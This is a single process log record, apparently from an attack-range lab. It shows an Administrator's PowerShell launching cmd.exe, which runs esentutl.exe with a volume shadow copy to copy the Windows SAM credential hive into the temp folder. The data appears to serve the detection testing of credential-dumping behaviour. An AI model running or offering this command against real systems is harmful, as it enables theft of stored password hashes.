ar-win-2.attackrange.local Administrator C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe cmd.exe C:\Windows\System32\cmd.exe /c "esentutl.exe /y /vss %SystemRoot%/system32/config/SAM /d %temp%/SAM"